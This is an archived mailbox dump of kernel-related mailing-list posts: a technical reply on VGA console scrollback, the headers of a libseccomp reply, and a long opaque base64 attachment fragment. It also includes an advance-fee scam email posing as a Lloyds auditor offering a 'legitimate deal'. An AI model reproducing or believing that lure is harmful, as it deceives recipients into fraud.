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
dVI1rUmT20H9+n8zLK35/44CAA==

--5vNYLRcllDrimb99--
--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andreas122@elisaandreas.biz
Newsgroups: gmane.linux.ports.parisc
Subject: Greetings!!!
Date: Mon, 18 Apr 2016 21:12:16 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <828729.35773.qm__49949.6970828206$1461010826$gmane$org@smtp105.biz.mail.ne1.yahoo.com>
Reply-To: J_ericdaniels111@outlook.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461010826 3409 80.91.229.3 (18 Apr 2016 20:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 20:20:26 +0000 (UTC)
To: "Mr. Eric" <andreas122@elisaandreas.biz>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 22:20:25 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asFeg-0000qg-0e
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Apr 2016 22:20:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752544AbcDRUUF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2016 16:20:05 -0400
Original-Received: from smtp105.biz.mail.ne1.yahoo.com ([98.138.207.12]:27767 "EHLO
	smtp105.biz.mail.ne1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752653AbcDRUTc convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2016 16:19:32 -0400
Original-Received: (qmail 2795 invoked from network); 18 Apr 2016 20:12:51 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1461010371; bh=R6H7d5nSXo9iM92OJw06UPdsSB/AJ5JoH65ks8WyKiQ=; h=Message-ID:Content-Type:MIME-Version:Content-Transfer-Encoding:Content-Description:Subject:To:From:Date:Reply-To; b=XGWR+qT+Q5JUlSthsusrSioA2he3rgiImIed/i5I55TRZbXR845bEHY0aj1YqXTG+fWhsuWBxYypQLUGoZ0/wgc9v+bq28csD4iNi+PUOoWqP+vhrSjZpfSuqfVmULqCpQK1XujNO2ye6ZtlCgTNEEproQH0rdSSmXQsgzKMgzM=
X-Yahoo-Newman-Property: ymail-4
X-YMail-OSG: KwOzOqwVM1kWFcQC0z.grkqYaeXySvP8vz1Qoo.a4oOHTuC
 69qLxL_ysCE2pRtzFet.6wz_HxsHdZ8c_8VY3a3IKUj11TWccHdBkNmQZCT5
 nT5wzce6zRefa7tXw80c0YQh73_X5jXHEbnKM971ZPmaMkSHuj3zwQhJm8BR
 S7sEL4Xl5eFgZX8KNW2Hv3KtD0bnsB_xCeWtuXc2V6RUwQnGqQm5neLLwf5z
 Fxw2t_zme.lu9iY.8V_ziSBX0xsboh3D8LoZ.J2.HsgO_plsoRqNJswoVA9o
 dckxm.n5mLN6Cpy7Y2aFe2wk_r9I99dfhGL1Rkvc.RBAZlkTJGeYr2JrKNJU
 BRqiLR4nFGbggcXzUGLLo73u1r0NZTIYXkJy82tteGCQ6GCAxOSPvTP.fK73
 UsMXazz7uqtXsP.hDy6Hh8swO2.YK.cyISV3rPPgc9_a_wsfDOKPso8kW1eL
 BSnYcOCdoUTMfYinsueWqm0RCDKlumDwvp.EStXIh_1CudY8l9_KKF9CuDg3
 R7kIsdRqQYzQVQgQRadeJLGKRaqWOStutdChcsvs-
X-Yahoo-SMTP: aA._1H6swBA_BkynzKbFaL8aJkrWL3f2rCg-
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26656>

Hi, how are you? My name is J Eric Denials, External Financial Auditor =
at Lloyds Banking Group plc., London. It is a pleasure to contact you a=
t this time through this medium. I have a cool and legitimate deal to d=
o with you as you're a foreigner, it will be mutually beneficial to bot=
h. If you=E2=80=99re interested, urgently, get back to me for more expl=
anation about the deal.
Regards
Eric
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jakub Wilk <jwilk-tXgOlIzOKNReoWH0uzbU5w@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] Persistent scrollback buffers for all VGA consoles
Date: Mon, 18 Apr 2016 22:38:37 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20160418203837.GA8008@jwilk.net>
References: <1461009418-1795-1-git-send-email-manuel.schoelling@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461014676 32565 80.91.229.3 (18 Apr 2016 21:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 21:24:36 +0000 (UTC)
Cc: gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, jslaby-IBi9RG/b67k@public.gmane.org,
	thomas-8tQO0IXuy4gnETEX8uN03g@public.gmane.org, plagnioj-sclMFOaUSTBWk0Htik3J/w@public.gmane.org,
	tomi.valkeinen-l0cyMroinI0@public.gmane.org, jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org,
	sfr-3FnU+UHB4dNDw9hX6IcOSA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Manuel =?iso-8859-1?Q?Sch=F6lling?= <manuel.schoelling-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Apr 18 23:24:22 2016
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1asGec-0007pm-2b
	for glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 18 Apr 2016 23:24:22 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752049AbcDRVYS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glug-linux-usb@m.gmane.org>); Mon, 18 Apr 2016 17:24:18 -0400
Original-Received: from 3.mo68.mail-out.ovh.net ([46.105.58.60]:39777 "EHLO
	3.mo68.mail-out.ovh.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751342AbcDRVYR (ORCPT
	<rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 18 Apr 2016 17:24:17 -0400
X-Greylist: delayed 2690 seconds by postgrey-1.27 at vger.kernel.org; Mon, 18 Apr 2016 17:24:17 EDT
Original-Received: from mail626.ha.ovh.net (gw6.ovh.net [213.251.189.206])
	by mo68.mail-out.ovh.net (Postfix) with SMTP id 5BAC6FF8E4C
	for <linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Mon, 18 Apr 2016 22:39:25 +0200 (CEST)
Original-Received: from localhost (HELO queueout) (127.0.0.1)
	by localhost with SMTP; 18 Apr 2016 22:39:25 +0200
Original-Received: from ip-5-172-247-220.free.aero2.net.pl (HELO jwilk.net) (jwilk%jwilk.net@5.172.247.220)
  by ns0.ovh.net with SMTP; 18 Apr 2016 22:39:24 +0200
Content-Disposition: inline
In-Reply-To: <1461009418-1795-1-git-send-email-manuel.schoelling-Mmb7MZpHnFY@public.gmane.org>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Ovh-Tracer-Id: 5030802259961436028
X-Ovh-Remote: 5.172.247.220 (ip-5-172-247-220.free.aero2.net.pl)
X-Ovh-Local: 213.186.33.20 (ns0.ovh.net)
X-OVH-SPAMSTATE: OK
X-OVH-SPAMSCORE: 0
X-OVH-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeekkedriedvucetufdoteggodetrfdotffvucfrrhhofhhilhgvmecuqfggjfenuceurghilhhouhhtmecufedttdenuc
X-VR-SPAMSTATE: OK
X-VR-SPAMSCORE: 0
X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeekkedriedvgdduhedvucetufdoteggodetrfdotffvucfrrhhofhhilhgvmecuqfggjfenuceurghilhhouhhtmecufedttdenuc
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:140585 gmane.linux.kernel:2202111 gmane.linux.ports.parisc:26657
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/140585>

* Manuel Sch=F6lling <manuel.schoelling-Mmb7MZpHnFY@public.gmane.org>, 2016-04-18, 21:56:
>To offer a way for userland tools to flush the buffer my second patch=20
>adds a ioctl call for that.

In f8df13e0a901fe55631fed66562369b4dba40f8b, the escape sequence \e[3J=20
was added, which erases the whole display including the scroll-back=20
buffer. So the new ioctl shouldn't be necessary.

--=20
Jakub Wilk
--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Moore <paul@paul-moore.com>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] libseccomp/tests: Report if test was skipped
 because of missing valgrind
Date: Mon, 18 Apr 2016 18:37:28 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1765217.3d9ZDVQ0iE@sifl>
References: <20160213200731.GA18161@ls3530.box> <571103AD.20500@gmx.de> <20160415150941.GA11180@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461019058 1286 80.91.229.3 (18 Apr 2016 22:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 22:37:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org, James Bottomley <James.Bottomley@hansenpartnership.com>, John David Anglin <dave.anglin@bell.net>, Mike Frysinger <vapier@gentoo.org>
To: libseccomp@googlegroups.com
Original-X-From: libseccomp+bncBD4NPLXYE4IKVQ6VXACRUBDASMM5G@googlegroups.com Tue Apr 19 00:37:31 2016
Return-path: <libseccomp+bncBD4NPLXYE4IKVQ6VXACRUBDASMM5G@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-vk0-f62.google.com ([209.85.213.62])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBD4NPLXYE4IKVQ6VXACRUBDASMM5G@googlegroups.com>)
	id 1asHnP-0000mW-Fe
	for gcllg-libseccomp-discuss-2@m.gmane.org; Tue, 19 Apr 2016 00:37:31 +0200
Original-Received: by mail-vk0-f62.google.com with SMTP id x190sf53963647vka.1
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Mon, 18 Apr 2016 15:37:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:from:to:cc:subject:date:message-id:user-agent:in-reply-to
         :references:mime-version:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=4G7oSa/v6ixmFhwcsC/XyKVIqOZLpAGEU+ZinEI8M24=;
